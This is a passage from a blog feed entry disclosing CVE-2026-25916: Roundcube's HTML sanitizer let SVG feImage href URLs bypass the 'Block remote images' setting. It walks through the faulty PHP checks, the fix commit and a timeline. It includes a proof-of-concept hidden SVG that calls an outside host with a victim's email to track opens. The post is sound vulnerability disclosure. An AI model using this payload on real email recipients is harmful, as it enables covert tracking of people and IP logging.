class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$tag\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;use\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;href\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$tag\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;image\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;href\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe \u003ccode\u003ehref\u003c/code\u003e attribute is only matched for \u003ccode\u003euse\u003c/code\u003e and \u003ccode\u003eimage\u003c/code\u003e. No \u003ccode\u003efeimage\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eAnd \u003ccode\u003eis_link_attribute()\u003c/code\u003e is a catch-all\u003csup id=\"fnref:3\"\u003e\u003ca href=\"#fn:3\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e3\u003c/a\u003e\u003c/sup\u003e:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/4c378113ce1682022c53e8f75ac754a83fe5b43b/program/lib/Roundcube/rcube_washtml.php#L459-L462\"\u003ercube_washtml.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e \u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan class=\"nf\"\u003eis_link_attribute\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$tag\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;href\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eSo when the sanitizer encounters \u003ccode\u003e\u0026lt;feImage href=\u0026quot;https://...\u0026quot;\u0026gt;\u003c/code\u003e: \u003ccode\u003eis_image_attribute('feimage', 'href')\u003c/code\u003e returns false, \u003ccode\u003eis_link_attribute('feimage', 'href')\u003c/code\u003e returns true, and the URL goes through \u003ccode\u003ewash_link()\u003c/code\u003e which passes HTTP/HTTPS URLs straight through.\u003c/p\u003e\n\u003ch2 id=\"proof-of-concept\"\u003eProof of concept\u003ca href=\"#proof-of-concept\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eAn invisible 1x1 SVG, positioned off-screen:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003esvg\u003c/span\u003e \u003cspan class=\"na\"\u003ewidth\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eheight\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003estyle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;position:absolute;left:-9999px;\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003edefs\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003efilter\u003c/span\u003e \u003cspan class=\"na\"\u003eid\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;t\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003efeImage\u003c/span\u003e \u003cspan class=\"na\"\u003ehref\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;https://httpbin.org/image/svg?email=victim@test.com\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e               \u003cspan class=\"na\"\u003ewidth\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eheight\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003efilter\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003edefs\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003erect\u003c/span\u003e \u003cspan class=\"na\"\u003efilter\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;url(#t)\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003ewidth\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eheight\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003esvg\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe browser evaluates the SVG filter and fires a GET to the attacker\u0026rsquo;s URL.\u003c/p\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003ca href=\"#impact\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eThe \u0026ldquo;Block remote images\u0026rdquo; setting doesn\u0026rsquo;t block this remote image. An attacker can confirm you opened it, log your IP, and fingerprint your browser.\u003c/p\u003e\n\u003ch2 id=\"remediation\"\u003eRemediation\u003ca href=\"#remediation\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eThe fix (\u003ca href=\"https://github.com/roundcube/roundcubemail/commit/26d7677\"\u003e\u003ccode\u003e26d7677\u003c/code\u003e\u003c/a\u003e) collapses the two separate \u003ccode\u003euse\u003c/code\u003e/\u003ccode\u003eimage\u003c/code\u003e checks into a single regex that includes \u003ccode\u003efeimage\u003c/code\u003e:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/26d7677471b68ff2d02ebe697cb606790b0cf52f/program/lib/Roundcube/rcube_washtml.php#L478\"\u003ercube_washtml.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;href\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003epreg_match\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;/^(feimage|image|use)$/i\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$tag\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e \u003cspan class=\"c1\"\u003e// SVG\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eNow \u003ccode\u003e\u0026lt;feImage href\u0026gt;\u003c/code\u003e hits \u003ccode\u003eis_image_attribute()\u003c/code\u003e first, gets routed through \u003ccode\u003ewash_uri()\u003c/code\u003e, and the remote URL is blocked.\u003c/p\u003e\n\u003cp\u003eUpdate to 1.5.13 or 1.6.13.\u003c/p\u003e\n\u003ch2 id=\"timeline\"\u003eTimeline\u003ca href=\"#timeline\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eDate\u003c/th\u003e\n          \u003cth\u003eEvent\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-01-04\u003c/td\u003e\n          \u003ctd\u003eReported to Roundcube\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-08\u003c/td\u003e\n          \u003ctd\u003e1.5.13 and 1.6.13 released\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-08\u003c/td\u003e\n          \u003ctd\u003eThis post\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-09\u003c/td\u003e\n          \u003ctd\u003eCVE-2026-25916 assigned\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cdiv class=\"footnotes\" role=\"doc-endnotes\"\u003e\n\u003chr\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003eThe SVG spec is enormous and most sanitizers only handle the common elements. Whenever one SVG tag slips through, there are usually others on the same allowlist that nobody checked.\u0026#160;\u003ca href=\"#fnref:1\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:2\"\u003e\n\u003cp\u003eIt\u0026rsquo;s an SVG filter primitive that loads an external image and uses it as input to a filter chain (\u003ca href=\"https://www.w3.org/TR/SVG11/filters.html#feImageElement\"\u003espec\u003c/a\u003e). Rarely used in practice, which is probably why it was overlooked. Allowlists that grow by hand tend to have gaps like this.\u0026#160;\u003ca href=\"#fnref:2\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:3\"\u003e\n\u003cp\u003eThis matches \u003ccode\u003ehref\u003c/code\u003e on every element, including \u003ccode\u003e\u0026lt;feImage\u0026gt;\u003c/code\u003e. That\u0026rsquo;s the root cause.\u0026#160;\u003ca href=\"#fnref:3\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\n","content_text":"TL;DR: Roundcube’s rcube_washtml sanitizer blocked external resources on \u003cimg\u003e, \u003cimage\u003e, and \u003cuse\u003e, but not on \u003cfeImage\u003e. Its href went through the wrong code path and got allowed through. Attackers could track email opens even when “Block remote images” was on. Fixed in 1.5.13 and 1.6.13.\nVulnerability information# Field Value Vendor Roundcube Product Roundcube Webmail Affected versions \u003c 1.5.13, 1.6.x \u003c 1.6.13 CVE CVE-2026-25916 CVSS 3.1 4.3 / Medium CVSS 4.0 5.3 / Medium Disclosure date 2026-02-08 Background# When allow_remote is false, Roundcube’s sanitizer intercepts image-bearing attributes (src on \u003cimg\u003e, href on \u003cimage\u003e and \u003cuse\u003e) and runs them through is_image_attribute(). That function blocks external URLs.\nSeparately, non-image URLs (like \u003ca href\u003e) go through wash_link(), which lets HTTP/HTTPS URLs through. That’s fine for links the user clicks on intentionally.\nDiscovery# I got bored during my christmas vacation and this SVG-based XSS fix via the animate tag appeared on my radar. One SVG bug usually means more.1 So I spent some time going through rcube_washtml.php, looking at which SVG elements made it onto the allowlist and how their attributes get handled and sanitized.\n\u003cfeImage\u003e stood out.2 Its href gets fetched on render, same as \u003cimg src\u003e. But the sanitizer sends it through wash_link() instead of is_image_attribute().\nSo the “Block remote images” setting doesn’t apply to it.\nTechnical details# In wash_attribs(), every attribute hits a chain of checks. The first one that matches wins:\nrcube_washtml.php\nif ($this-\u003eis_image_attribute($node-\u003enodeName, $key)) { $out = $this-\u003ewash_uri($value, true); // blocks remote URLs } elseif ($this-\u003eis_link_attribute($node-\u003enodeName, $key)) { $out = $this-\u003ewash_link($value); // allows http/https } Before the fix, is_image_attribute() looked like this:\nrcube_washtml.php\nprivate function is_image_attribute($tag, $attr) { return $attr == 'background' || $attr == 'color-profile' || ($attr == 'poster' \u0026\u0026 $tag == 'video') || ($attr == 'src' \u0026\u0026 preg_match('/^(img|image|source|input|video|audio)$/i', $tag)) || ($tag == 'use' \u0026\u0026 $attr == 'href') || ($tag == 'image' \u0026\u0026 $attr == 'href'); } The href attribute is only matched for use and image. No feimage.\nAnd is_link_attribute() is a catch-all3:\nrcube_washtml.php\nprivate function is_link_attribute($tag, $attr) { return $attr === 'href'; } So when the sanitizer encounters \u003cfeImage href=\"https://...\"\u003e: is_image_attribute('feimage', 'href') returns false, is_link_attribute('feimage', 'href') returns true, and the URL goes through wash_link() which passes HTTP/HTTPS URLs straight through.\nProof of concept# An invisible 1x1 SVG, positioned off-screen:\n\u003csvg width=\"1\" height=\"1\" style=\"position:absolute;left:-9999px;\"\u003e \u003cdefs\u003e \u003cfilter id=\"t\"\u003e \u003cfeImage href=\"https://httpbin.org/image/svg?email=victim@test.com\" width=\"1\" height=\"1\"/\u003e \u003c/filter\u003e \u003c/defs\u003e \u003crect filter=\"url(#t)\" width=\"1\" height=\"1\"/\u003e \u003c/svg\u003e The browser evaluates the SVG filter and fires a GET to the attacker’s URL.\nImpact# The “Block remote images” setting doesn’t block this remote image. An attacker can confirm you opened it, log your IP, and fingerprint your browser.\nRemediation# The fix (26d7677) collapses the two separate use/image checks into a single regex that includes feimage:\nrcube_washtml.php\n|| ($attr == 'href' \u0026\u0026 preg_match('/^(feimage|image|use)$/i', $tag)); // SVG Now \u003cfeImage href\u003e hits is_image_attribute() first, gets routed through wash_uri(), and the remote URL is blocked.\nUpdate to 1.5.13 or 1.6.13.\nTimeline# Date Event 2026-01-04 Reported to Roundcube 2026-02-08 1.5.13 and 1.6.13 released 2026-02-08 This post 2026-02-09 CVE-2026-25916 assigned The SVG spec is enormous and most sanitizers only handle the common elements. Whenever one SVG tag slips through, there are usually others on the same allowlist that nobody checked. ↩︎\nIt’s an SVG filter primitive that loads an external image and uses it as input to a filter chain (spec). Rarely used in practice, which is probably why it was overlooked. Allowlists that grow by hand tend to have gaps like this. ↩︎\nThis matches href on every element, including \u003cfeImage\u003e. That’s the root cause. ↩︎\n","date_published":"2026-02-08T00:00:00Z","date_modified":"2026-03-16T00:00:00Z","tags":["vulnerability","roundcube","svg","email-security"]}]}